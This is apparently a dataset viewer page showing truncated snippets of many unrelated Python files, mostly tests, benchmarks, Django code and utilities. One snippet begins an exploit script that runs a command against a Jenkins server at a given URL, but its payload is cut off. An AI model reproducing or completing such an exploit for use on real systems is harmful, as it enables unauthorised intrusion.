content string |
|---|
import os
import unittest
import tempfile
import shutil
import imp
imp.load_source('setup_util',
os.path.join(os.path.dirname(__file__),
'..', '..', 'cmake', 'templates', '_setup_util.py'))
import setup_util
from setup_util import get_reversed_workspaces, prefix_env, remov... |
#!/usr/bin/env python
import math
import msgpack
import base64
from itertools import izip
from .data import ObjectStore
from nel import logging
log = logging.getLogger()
def msgpack_deserialize(data):
return msgpack.loads(base64.b64decode(data))
class EntityCounts(object):
""" Entity count model """
def... |
import os
from testutils import mock
from jobslave.generators import raw_hd_image, bootable_image
from jobslave_test.jobslave_helper import JobSlaveHelper
from conary.lib import util
class RawHdImage(JobSlaveHelper):
def setUp(self):
super(RawHdImage, self).setUp()
self.mock(bootable_image.loophel... |
"""
Sqlite DB Abstraction layer and threadsafe wrapping around it.
Copyright (C) John Stowers 2007 <<EMAIL>>
GenericDB:
SQL based on http://vwdude.com/dropbox/pystore/
Copyright (C) Christian Hergert 2007 <<EMAIL>>
ThreadSafeGenericDB:
Wrapper based on http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/526618
Co... |
# -*- coding: utf-8 -*-
from __future__ import absolute_import, division
import re
import datetime
from splash.utils import to_bytes, to_unicode
from twisted.python import log
try:
import lupa
except ImportError:
lupa = None
import six
from splash.exceptions import ScriptError
_supported = None
_lua = None
... |
# -*- coding: utf-8 -*-
# from https://github.com/zzzeek/sqlalchemy/blob/master/examples/graphs/directed_graph.py
"""a directed graph example."""
from eralchemy import render_er
from sqlalchemy import Column, Integer, ForeignKey
from sqlalchemy.orm import relationship
from sqlalchemy.ext.declarative import declarative_... |
"""Common benchmarking code.
See https://www.tensorflow.org/community/benchmarks for usage.
To run all benchmarks, use "--benchmarks=.".
Control the output directory using the "TEST_REPORT_FILE_PREFIX" environment
variable.
For the benchmarks in this directory, we used:
TEST_REPORT_FILE_PREFIX=/tmp/autograph/sys... |
import re, string, logging
from autotest.client.shared import error
from virttest import kvm_monitor, storage, data_dir
def run_physical_resources_check(test, params, env):
"""
Check physical resources assigned to KVM virtual machines:
1) Log into the guest
2) Verify whether cpu counts ,memory size, n... |
"""Benchmarks for LossScaleOptimizer and LossScaleGradientTape."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import time
from tensorflow.python.client import session as session_module
from tensorflow.python.distribute import distribution_strategy_cont... |
#!/usr/bin/env python
"""
This file shows how you can define a custom stringifier for PuDB.
A stringifier is a function that is called on the variables in the namespace
for display in the variables list. The default is type()*, as this is fast and
cannot fail. PuDB also includes built-in options for using str() and re... |
import logging
import unittest
import pymongo
from mwatch.main import Watcher
log = logging.getLogger(__name__)
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s %(message)s')
class TestIt(unittest.TestCase):
def setUp(self):
self.client = pymongo.MongoClient(port=27018)
sel... |
# Run as script using 'python -m test.synth_map'
import cPickle
import os
import copy
import numpy as np
from pyglm.inference.coord_descent import coord_descent
from pyglm.plotting.plot_results import plot_results
from pyglm.utils.io import segment_data
from pyglm.models.model_factory import make_model
f... |
import unittest
import common
_Sd = "AclDefault"
_Se = "AclExplicit"
from common import Int8, Text, Timestamptz, \
RID, RCT, RMT, RCB, RMB, RidKey, \
ModelDoc, SchemaDoc, TableDoc, ColumnDoc, KeyDoc, FkeyDoc
def setUpModule():
r = common.primary_session.get('schema/%s' % _Sd)
if r.status_code == 404:... |
import logging
import utils
# create logger
log = logging.getLogger(__name__)
class Tune2fsException(Exception):
pass
def get(device_path, attribute=None):
"""Get Information about device
Returns dictionary of properties
"""
cmd = "tune2fs -l %s" % device_path
(error, stdoutdata, stderrda... |
from distutils.version import LooseVersion
import itertools
import numpy as np
import sys
import six
from six import BytesIO, StringIO, string_types as py_string
import socket
PY26 = sys.version_info[:2] == (2, 6)
PY2 = sys.version_info[0] == 2
try:
import pandas as pd
pdver = LooseVersion(pd.__version__)
... |
"""
Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.
Permission is hereby granted, free of charge, to any person obtaining a copy of this
software and associated documentation files (the "Software"), to deal in the Software
without restriction, including without limitation the rights to ... |
import logging
from slacker import Slacker
from settings import SLACK_TOKEN, BASE_URL
from django.core.mail import EmailMultiAlternatives
from django.utils.html import strip_tags
from seqr.views.utils.terra_api_utils import anvil_enabled
logger = logging.getLogger(__name__)
ANVIL_UI_URL = 'https://anvil.terra.bio/'
... |
"""
Airport class
"""
from __future__ import division, print_function
import re
import yaml
import math
from pprint import pprint
from scipy import interpolate
import numpy
import pylab
from cs2cs import LatLonToUTMXY
from trajectory import trajectory
from qmodel import complexity2throughput
QUANTIM_STATE_LENGTH = ... |
import argparse
import os
import shutil
import time
import torch
import torch.nn as nn
import torch.nn.parallel
import torch.backends.cudnn as cudnn
import torch.optim
import torch.utils.data
import torchvision.transforms as transforms
import torchvision.datasets as datasets
import torchvision.models as models
model... |
from __future__ import division
import pygame
import re
SUPPORTED_IMAGE_FORMATS = '((gif)|(png))'
WALK_IMAGE_FILE_PATTERN = re.compile(r'walk-[0-9][0-9]\.' + SUPPORTED_IMAGE_FORMATS)
JUMP_IMAGE_FILE_PATTERN = re.compile(r'jump-[0-9][0-9]\.' + SUPPORTED_IMAGE_FORMATS)
WEAPON_FILE_PATTERN = re.compile(r'weapon\... |
"""
.. module:: mysql_adapter
:platform: Unix, Windows
:synopsis: MySQL adapter for create MySQL tables
.. moduleauthor:: Oscar Campos <<EMAIL>>
"""
import inspect
from storm.expr import Undef
from twisted.python import components
from storm.references import Reference
from storm import variables, propertie... |
import cv2
import numpy as np
import math
import time
#
# A simple example showing how to match almost simultaneous images from two webcams using SURF
#
# Possible next steps:
# - solve for fundamental matrix
# - visualize matches
# - filter bad matches
if __name__ == "__main__":
# open the camera
c1 = cv2... |
import pygame as pg
from .. import cache
from .. import constants as c
from ..graphics.general_sprites import Panel
from ..graphics.party_sprites import BoardGFX, BlockGFX, CursorGFX, InformationGFX
from ..gamecore import GameCore, Cursor
from ..player.player_tools import *
class Player:
def __init__(self, index)... |
from ....datasources.meta import filters, frequencies, mappers
from ....dependencies import DependentSet
class Revision(DependentSet):
def __init__(self, name, is_stopword, wikitext_revision):
super().__init__(name)
self.stopwords = filters.filter(
is_stopword, wikitext_revision.word... |
# vim: set fileencoding=utf-8 :
"""glarg setup
"""
# Standard library
from __future__ import absolute_import, division, print_function
import os
# Third-party
from setuptools import setup
setup_path = os.path.dirname(os.path.realpath(__file__))
with open(os.path.join(setup_path, "README.rst"), "rb") as f:
long... |
from datetime import datetime, timedelta
from depot.helpers import get_depot_if_allowed, extract_item_quantities
from django.shortcuts import render
from django.views import View
from rental.availability import Availability
class DepotCreateRentalView(View):
"""
Show a form to create a new rental for the give... |
from django.conf.urls import url, include
from django.views import generic
from . import views
urlpatterns = [
# globals
url('^$', views.index, name='home'),
url('^agora$', views.agora, name='agora'),
url('^archiv$', views.archive, name='archive'),
url('^thema/(?P<topic_id>\d+)(?:-(?P<slug>.*))?$', vi... |
r"""This module provides functions for the computation of stationary
vectors of stochastic matrices.
Matrices are represented by scipy.sparse matrices throughout this module.
.. moduleauthor:: B.Trendelkamp-Schroer <benjamin DOT trendelkamp-schroer AT fu-berlin DOT de>
"""
import numpy as np
import scipy.sparse.lin... |
from datetime import date
from dateutil.easter import easter
from dateutil.relativedelta import FR, MO, SU, WE
from dateutil.relativedelta import relativedelta as rd
from holidays.constants import AUG, DEC, FEB, JAN, JUN, MAY, OCT, SUN, WEEKEND
from holidays.holiday_base import HolidayBase
class Jamaica(HolidayBase)... |
# coding=utf-8
import hashlib
from unittest import mock
import pytest
from wsstat.clients import ConnectedWebsocketConnection, WebsocketTestingClient
from wsstat.gui import WSStatConsoleApplication
from wsstat.main import parse_args, wsstat_console
class TestConnectedWebsocketConnection:
def setup(self):
... |
from stoqlib.gui.editors.producteditor import ProductStockEditor
from stoqlib.gui.test.uitestutils import GUITest
class TestProductStockEditor(GUITest):
def test_show(self):
product = self.create_product(storable=True)
editor = ProductStockEditor(self.store, product)
self.check_editor(edit... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
'''
1837. Isenbaev's Number
Time limit: 0.5 second
Memory limit: 64 MB
[Description]
Vladislav Isenbaev is a two-time champion of Ural, vice champion of TopCoder
Open 2009, and absolute champion of ACM ICPC 2009. In the time you will spend
reading this problem statement Vladi... |
#!/usr/bin/env python
'''
Doxygen API Builder
---------------------
'''
import os, shutil
def is_exe(path):
''' Returns if the program is executable
:param path: The path to the file
:return: True if it is, False otherwise
'''
return os.path.exists(path) and os.access(path, os.X_OK)
def which(prog... |
# coding: utf-8
from __future__ import print_function
from __future__ import unicode_literals
import poetryutils2
def haiku_test(sourcepath):
'''sourcepath should be a path to a file of newline-delimited text'''
lines = poetryutils2.utils.lines_from_file(sourcepath)
haik = poetryutils2.Haikuer()
fil... |
{
'name': 'Definizioni di Base Agenzia delle Entrate',
'summary': 'Codice con le definizioni dei file xml Agenzia delle Entrate',
'version': '6.1.4.10.20',
'category': 'Localization/Italy',
'author': 'SHS-AV s.r.l.,'
' Odoo Italia Associazione',
'license': 'AGPL-3',
'depends': ... |
from django import template
from django.conf import settings
from django.template.loader import get_template
from contact.models import ContactPage
from blog.models import BlogPage
from events.models import EventPage
from pages.models import Testimonial
register = template.Library()
@register.assignment_tag(takes_co... |
"""
Helper classes for Ironic HTTP PATCH creation.
"""
from oslo_serialization import jsonutils
import nova.conf
CONF = nova.conf.CONF
def create(node):
"""Create an instance of the appropriate DriverFields class.
:param node: a node object returned from ironicclient
:returns: A GenericDriverFields i... |
"""
This module contains Google Translate operators.
"""
from typing import List, Union
from airflow.exceptions import AirflowException
from airflow.models import BaseOperator
from airflow.providers.google.cloud.hooks.translate import CloudTranslateHook
from airflow.utils.decorators import apply_defaults
class Cloud... |
import pytest
import numpy as np
from ..dr1 import LocationGenerator, WideLocationGenerator
class TestLocationGenerator(object):
LG = LocationGenerator
def assert_lon_valid(self, lon, mod):
assert (np.asarray(lon) % 3 == mod).all()
@pytest.mark.parametrize('mod3', [-1, 1.1, 3, 4])
def test... |
'''
Process manager for services using subprocess
'''
from chains.common import config, log
from chains import service
import os, signal, time, subprocess, json, psutil, types
processes = {}
'''
todo:
* capture stdout/stderr? --> no, do it in service-runner
- option for relative path in config.command? then need s... |
def GetPredictedOGs(clustersFilename):
predictedOGs = []
nOGsString = ""
qContainsProfiles = False
with open(clustersFilename, 'r') as clusterFile:
header = True
og = set()
for line in clusterFile:
if header:
if line.count("begin"):
... |
from django.urls import resolve
from premis_event_service import views
def test_app():
url = resolve('/APP/')
assert url.func == views.app
def test_app_event_without_identifier():
url = resolve('/APP/event/')
assert url.func == views.app_event
def test_app_event_with_identifier():
url = resol... |
from django.core.exceptions import ImproperlyConfigured
from django.conf import settings
from django.contrib.auth import get_user_model
from django.utils import timezone
import pytz
import pygeoip
from .signals import detected_timezone
from .utils import get_ip_address_from_request
GEOIP_DATABASE = getattr(settings,... |
import re
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
version = re.search("__version__ = '([^']+)'",
open('reddit/__init__.py').read()).group(1)
setup(
name='reddit',
version=version,
author='Timothy Mellor',
author_email='<EMAIL... |
"""
Given an array of integers arr, find the sum of min(b), where b ranges over every (contiguous) subarray of arr. Since the answer may be large, return the answer modulo 109 + 7.
Example 1:
Input: arr = [3,1,2,4]
Output: 17
Explanation:
Subarrays are [3], [1], [2], [4], [3,1], [1,2], [2,4], [3,1,2], [1,2,4], [3,... |
# -*- coding: UTF-8 -*-
#############################################
## (C)opyright by Dirk Holtwick, 2008 ##
## All rights reserved ##
#############################################
#try:
# import xml.etree.cElementTree as etree
#except:
import xml.etree.ElementTree as etree
import StringI... |
import random
import string
from decimal import Decimal
import requests
from requests.exceptions import RequestException
from prepare_payload import prepare_payload
def exploit(url, command):
print(f'[*] STARTING')
try:
print(f'[+] Trying to exploit Jenkins running at address: {url}')
# Perf... |
import os
from datetime import datetime
from MaudeMiner.settings import DATA_PATH
def process_results(result, title="", doWrite=True, query=""):
"""write the results of the last SQL query to disk and to screen"""
if not result or not result.returns_rows:
print "-> 0 records returned"
print result
return
d... |
# RP1210 Hello World
# Dr. Jeremy Daily
# Associate Professor of Mechanical Engineering
# The University of Tulsa
# 800 S. Tucker Dr.
# Tulsa, OK 74104
#
# This is a minimal program that tests to see if you can connect to an RP1210 device.
# It add the ability to print raw byte strings to the console.
#
# Assignment: A... |
import handlers
from django.conf.urls.defaults import *
from maker.core.api.auth import auth_engine
from maker.core.api.doc import documentation_view
from maker.core.api.resource import CsrfExemptResource
ad = { 'authentication': auth_engine }
#identities resources
contactFieldResource = CsrfExemptResource(handler = ... |
"""Module for splitting raw data into fixed-sized blocks."""
import base64
import time
import numpy as np
from thrifty.signal_utils import Signal
def _raw_reader(stream, chunk_size):
"""Read raw chunks of data."""
while True:
buf = stream.read(chunk_size)
if len(buf) == 0:
break... |
from app.watson import get_sentiments
#Gets the score of a specific emotion in the emotion dictionary
def get_score(emotion, emotion_dict):
return emotion_dict[emotion]
#Finds the emotion with the highest certainty score
def get_max_emotion(emotion_dict):
return max(emotion_dict, key=lambda emotion: get_score... |
#!/usr/bin/env python
"""
@package mi.dataset.parser.wfp_eng__stc_imodem_particles
@file marine-integrations/mi/dataset/parser/wfp_eng__stc_imodem_particles.py
@author Mark Worden
@brief Particles for the WFP_ENG__STC_IMODEM dataset driver
Release notes:
initial release
"""
__author__ = 'Mark Worden'
__... |
#!/usr/bin/python
import ply.lex as lex
reserved = {
'struct' : 'STRUCT',
'component' : 'COMPONENT',
'port' : 'PORT',
'pin' : 'PIN',
'footprint' : 'FOOTPRINT',
'symbol' : 'SYMBOL',
'module' : 'MODULE',
'generate' : 'GENERATE',
'inout' : 'INOUT',
'in' : 'IN',
'out' : 'OUT',
'id' : ... |
"""
WSGI config for mail project.
This module contains the WSGI application used by Django's development server
and any production WSGI deployments. It should expose a module-level variable
named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover
this application via the ``WSGI_APPLICATION`` set... |
import threading
import weakref
class TestRanTooLong(BaseException):
"""
This is thrown when the time limit has expired
This exception inherits from BaseException, so if you want to catch
it you must explicitly specify it, as a blanket except statement
will not catch this exception.'
General... |
import time
from docker import Client
import docker_lib as docker
from flask.ext.script import Manager, prompt_bool
from termcolor import colored
from webapp import app
manager = Manager(app)
c = Client(base_url=app.config.get('BASE_URL'), version='1.3')
def ok():
return colored('[OK]', 'green')
def ko():
... |
# -*- coding: utf-8 -*-
from flask import Blueprint, render_template, current_app, url_for, redirect, request, flash
bp = Blueprint('perm-admin', __name__, template_folder='templates', static_folder='static')
@bp.route('/')
def index():
if not current_app.extensions['perm'].has_perm_admin_logined():
retu... |
from django import template
from django.template import Variable, VariableDoesNotExist
from django.utils.safestring import mark_safe
from topics.models import TopicCollection
register = template.Library()
class TopicCollectionNode(template.Node):
def __init__(self, num=None, varname='topic_collection'):
... |
"""Tests for lexicon_builder."""
# disable=no-name-in-module,unused-import,g-bad-import-order,maybe-no-member
import os.path
import tensorflow as tf
import syntaxnet.load_parser_ops
from tensorflow.python.framework import test_util
from tensorflow.python.platform import googletest
from tensorflow.python.platform im... |
from netforce.model import Model, fields, get_model
from datetime import *
from dateutil.relativedelta import *
from pprint import pprint
from netforce.access import get_active_company
def deduct_period(date, num, period):
d = datetime.strptime(date, "%Y-%m-%d")
if period == "month":
if (d + timedelta... |
"""A helper function that executes a series of List queries for many APIs."""
import copy
__all__ = [
'YieldFromList',
]
def YieldFromList(
service, request, limit=None, batch_size=100,
method='List', field='items', predicate=None,
current_token_attribute='pageToken',
next_token_attribute='nextP... |
import logging
import re
import urlparse
import smtplib
from django.conf import settings
from django import template
from django.template import loader
from django.core import mail
from common import exception
from common import util
def is_allowed_to_send_email_to(email):
if settings.EMAIL_LIMIT_DOMAIN:
limit... |
#!/usr/bin/env python
"Makes working with XML feel like you are working with JSON"
try:
from defusedexpat import pyexpat as expat
except ImportError:
from xml.parsers import expat
from xml.sax.saxutils import XMLGenerator
from xml.sax.xmlreader import AttributesImpl
try: # pragma no cover
from cStringIO i... |
# -*- coding: utf-8 -*-
'''
Describe database model for Django
@author: Laurent GAY
@organization: sd-libre.fr
@contact: <EMAIL>
@copyright: 2015 sd-libre.fr
@license: This file is part of Lucterios.
Lucterios is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License... |
"""
Code for computing edit distances.
"""
import sys
import operator
from typing import Sequence
INSERT: str = "insert"
DELETE: str = "delete"
EQUAL: str = "equal"
REPLACE: str = "replace"
# Cost is basically: was there a match or not.
# The other numbers are cumulative costs and matches.
def lowest_cost_action(... |
import re
import pywikibot
def main():
monthnames = {1: "Enero", 2: "Febrero", 3: "Marzo", 4: "Abril", 5: "Mayo", 6: "Junio", 7: "Julio", 8: "Agosto", 9: "Septiembre", 10: "Octubre", 11: "Noviembre", 12: "Diciembre"}
monthdays = {1: 31, 2: 28, 3: 31, 4: 30, 5: 31, 6: 30, 7: 31, 8: 31, 9: 30, 10: 31, 11: 30, 12... |
""" Raw content plugin for PubTal
Copyright (c) 2003 Florian Schulze (http://proff.crowproductions.com/)
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must reta... |
"""
Provides a twisted interface to access the system keyring via DBus.
Implements the Secrets Service API Draft:
* http://code.confuego.org/secrets-xdg-specs/
"""
import dbus
from twisted.internet.defer import Deferred
BUS_NAME = "org.freedesktop.secrets"
SERVICE_IFACE = "org.freedesktop.Secret.Service"
PROMPT_IFA... |
import sublime
import sublime_plugin
import re
"""
Fixes up the 'indentation' of documentation comment keywords.
E.g. if you type this:
/// Summary:
it gets fixed up to:
/// Summary:
This is necessary because the default keymap inserts lines beginning with "///"
plus ten spaces whenever you type ... |
"""
test_Projection.py
This file is part of ANNarchy.
Copyright (C) 2013-2016 Joseph Gussev <<EMAIL>>,
Helge Uelo Dinkelbach <<EMAIL>>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Softwa... |
"""Tests for compute service with multiple compute nodes."""
from oslo.config import cfg
from nova import context
from nova import exception
from nova.openstack.common import importutils
from nova import test
from nova.virt import fake
CONF = cfg.CONF
CONF.import_opt('compute_manager', 'nova.service')
CONF.import_o... |
import re
from sqlalchemy import func, inspect, over
from sqlalchemy.sql import update
TS_REGEX = re.compile(r'([@<>!()&|:\'\\])')
def limit_groups(query, model, partition_by, order_by, limit=None, offset=0):
"""Limit the number of rows returned for each group.
This utility allows you to apply a limit/off... |
import os
import inspect
from docutils import nodes, utils
import gunicorn.config as guncfg
HEAD = """\
.. Please update gunicorn/config.py instead.
.. _settings:
Settings
========
This is an exhaustive list of settings for Gunicorn. Some settings are only
able to be set from a configuration file. The setting nam... |
from datetime import datetime
from dash import Dash
import pytest
import pandas as pd
from penn_chime.model.parameters import (
Parameters,
Disposition,
Regions,
)
from penn_chime.model.sir import (
Sir,
build_floor_df,
)
class MockStreamlit:
"""Mock implementation of streamlit
We just ... |
import logging
import unittest
from quantum.common import exceptions as exc
from quantum.plugins.cisco.common import cisco_constants as const
from quantum.plugins.cisco.common import cisco_credentials as creds
from quantum.plugins.cisco.db import l2network_db as cdb
from quantum.plugins.cisco.db import api as db
from q... |
"""
.. currentmodule:: pygmin.landscape
Landscape Exploration (`pygmin.landscape`)
============================================
This module implements routines for exploring the energy landscape. This
primarily consists of using DoubleEndedConnect to find connected pathways
of minimum -> transition state -> minimum b... |
from xcsoar.mapgen.waypoints.waypoint import Waypoint
from xcsoar.mapgen.waypoints.list import WaypointList
class __CSVLine:
def __init__(self, line):
self.__line = line
self.__index = 0
def has_next(self):
return self.__index < len(self.__line)
def next(self):
... |
# -*- coding: utf-8 -*-
import warnings
from libnmap.objects.cpe import CPE
class OSFPPortUsed(object):
"""
Port used class: this enables the user of NmapOSFingerprint class
to have a common and clear interface to access portused data which
were collected and used during os fingerprint sc... |
"""
WSGI middleware for OpenStack Share API v1.
"""
from manila.api import extensions
import manila.api.openstack
from manila.api.v1 import limits
from manila.api.v1 import scheduler_stats
from manila.api.v1 import security_service
from manila.api.v1 import share_manage
from manila.api.v1 import share_metadata
from ma... |
__doc__="""
This module contains the Atomselection class. It contains methods
that are inherited to the Molecule, Chain and Model classes.
Take a look there for details...
"""
import sys
from numpy import *
import random
from atom import *
from geometry import Rotation
import library
import copy as cp
import _pmx
#im... |
"""Test that the set of gen-* files is the same as the generated files."""
import fnmatch
import os
import sys
import generate
UPDATE_TIP = (
'To update the generated tests, run:\n'
'$ python third_party/blink/web_tests/wpt_internal/bluetooth/generate.py')
def main():
generated_files = set()
# Tests... |
from Game import *
from Menu import *
import Garbage
import gc
# Global Variable that define tha actual stage of he player
ACTUAL_STAGE = 1
STAGE_WIN = (0,0)
STAGE_CHANCE = 2
# The game over menu
def set_game_over_menu(function_retry,function_quit=sys.exit):
width = 1024
height = 768
pygame.display.init
... |
# -*- coding: utf-8 -*-
"""Analysis plugin to look up file hashes in nsrlsvr and tag events."""
import socket
from plaso.analysis import hash_tagging
from plaso.analysis import logger
from plaso.analysis import manager
class NsrlsvrAnalyzer(hash_tagging.HashAnalyzer):
"""Analyzes file hashes by consulting an nsrl... |
import numpy as np
from math import degrees
from numpy.linalg import eig, inv
#### ADAPTED FROM
#### http://nicky.vanforeest.com/misc/fitEllipse/fitEllipse.html
def fit_ellipse_get_coeffs(x,y):
x = x[:, np.newaxis]
y = y[:, np.newaxis]
D = np.hstack((x * x, x * y, y * y, x, y, np.ones_like(x)))
S = n... |
import collections
import datetime
import uuid
from oslo.config import cfg
import six
from glance.common import exception
import glance.openstack.common.log as logging
from glance.openstack.common import timeutils
CONF = cfg.CONF
LOG = logging.getLogger(__name__)
_delayed_delete_imported = False
def _import_del... |
import logging
logger = logging.getLogger()
import subprocess
import hwsim_utils
import hostapd
def test_ap_fragmentation_rts_set_high(dev, apdev):
"""WPA2-PSK AP with fragmentation and RTS thresholds larger than frame length"""
ssid = "test-wpa2-psk"
passphrase = 'qwertyuiop'
params = hostapd.wpa2_pa... |
from typing import Any, AsyncIterable, Callable, Dict, Generic, Optional, TypeVar
import warnings
from azure.core.async_paging import AsyncItemPaged, AsyncList
from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error
from azure.core.pipeline ... |
import os
import mock
from twisted.internet import defer
from twisted.internet import reactor
from twisted.python import log
from twisted.python.filepath import FilePath
from buildbot import util
from buildbot.clients import tryclient
from buildbot.schedulers import trysched
from buildbot.test.util import www
from b... |
import json
import os
import shutil
from contextlib import contextmanager
from textwrap import dedent
from pants.base.build_environment import get_buildroot
from pants.testutil.pants_run_integration_test import PantsRunIntegrationTest, ensure_cached
from pants.util.contextutil import temporary_dir
class CheckstyleIn... |
"""pw_protobuf_compiler"""
import setuptools # type: ignore
setuptools.setup(
name='pw_protobuf_compiler',
version='0.0.1',
author='Pigweed Authors',
author_email='<EMAIL>',
description='Pigweed protoc wrapper',
packages=setuptools.find_packages(),
package_data={'pw_protobuf_compiler': ['... |
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import copy
import os
import json
import subprocess
import tempfile
from yaml import YAMLError
from ansible.compat.six import text_type, string_types
from ansible.errors import AnsibleFileNotFound, AnsibleParserError, AnsibleError... |
#https://en.wikipedia.org/w/api.php?action=query&list=search&format=json&srsearch=poop
import urllib.request
import urllib.parse
from urllib.error import *
import json
from .searchprovider import SearchProvider
from .searchresult import SearchResult
class WikipediaSearchProvider(SearchProvider):
"""Search for inf... |
from project import db
import User, sys, copy, Group
class Library(db.Document):
user = db.ReferenceField(User.User)
unit = db.StringField(max_length=50) #what Document the Library's collection relates to
name = db.StringField(max_length=100, unique_with=['user','unit']) #name of the Library
lookup_attribute = db... |
"""
Run Regression Test Suite
This module calls down into individual test cases via subprocess. It will
forward all unrecognized arguments onto the individual test scripts, other
than:
- `-extended`: run the "extended" test suite in addition to the basic one.
- `-win`: signal that this is running in a Windows... |
import defaults, config, userdb
from lib import *
from mod_python import apache
import os, time
try:
from hashlib import md5
except ImportError:
from md5 import md5 # deprecated with python 2.5
def site_cookie_name(site_id = None):
if not site_id:
url_prefix = defaults.url_prefix
else:
... |
from tehbot.plugins import *
import time
from pony.orm import *
from datetime import datetime
class SeenPlugin(StandardCommand):
"""Shows when a user was last seen."""
def __init__(self, db):
StandardCommand.__init__(self, db)
self.parser.add_argument("user", nargs=1)
self.ircid_arg = ... |
from tempest_lib.common.utils import data_utils
from tempest_lib import exceptions as lib_exc
from tempest.api.network import base
from tempest import config
from tempest import test
CONF = config.CONF
class FloatingIPNegativeTestJSON(base.BaseNetworkTest):
"""
Test the following negative operations for f... |
from cyder.core.system.models import System
from cyder.cydhcp.interface.dynamic_intr.models import DynamicInterface
from cyder.cydhcp.network.models import Network
from cyder.cydhcp.range.models import Range
from cyder.api.v1.tests.base import APITests
from cyder.cydhcp.constants import DYNAMIC
class DynamicInterface... |
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import re
from ansible.errors.yaml_strings import (
YAML_COMMON_DICT_ERROR,
YAML_COMMON_LEADING_TAB_ERROR,
YAML_COMMON_PARTIALLY_QUOTED_LINE_ERROR,
YAML_COMMON_UNBALANCED_QUOTES_ERROR,
YAML_COMMON_UNQUOTED_COLO... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.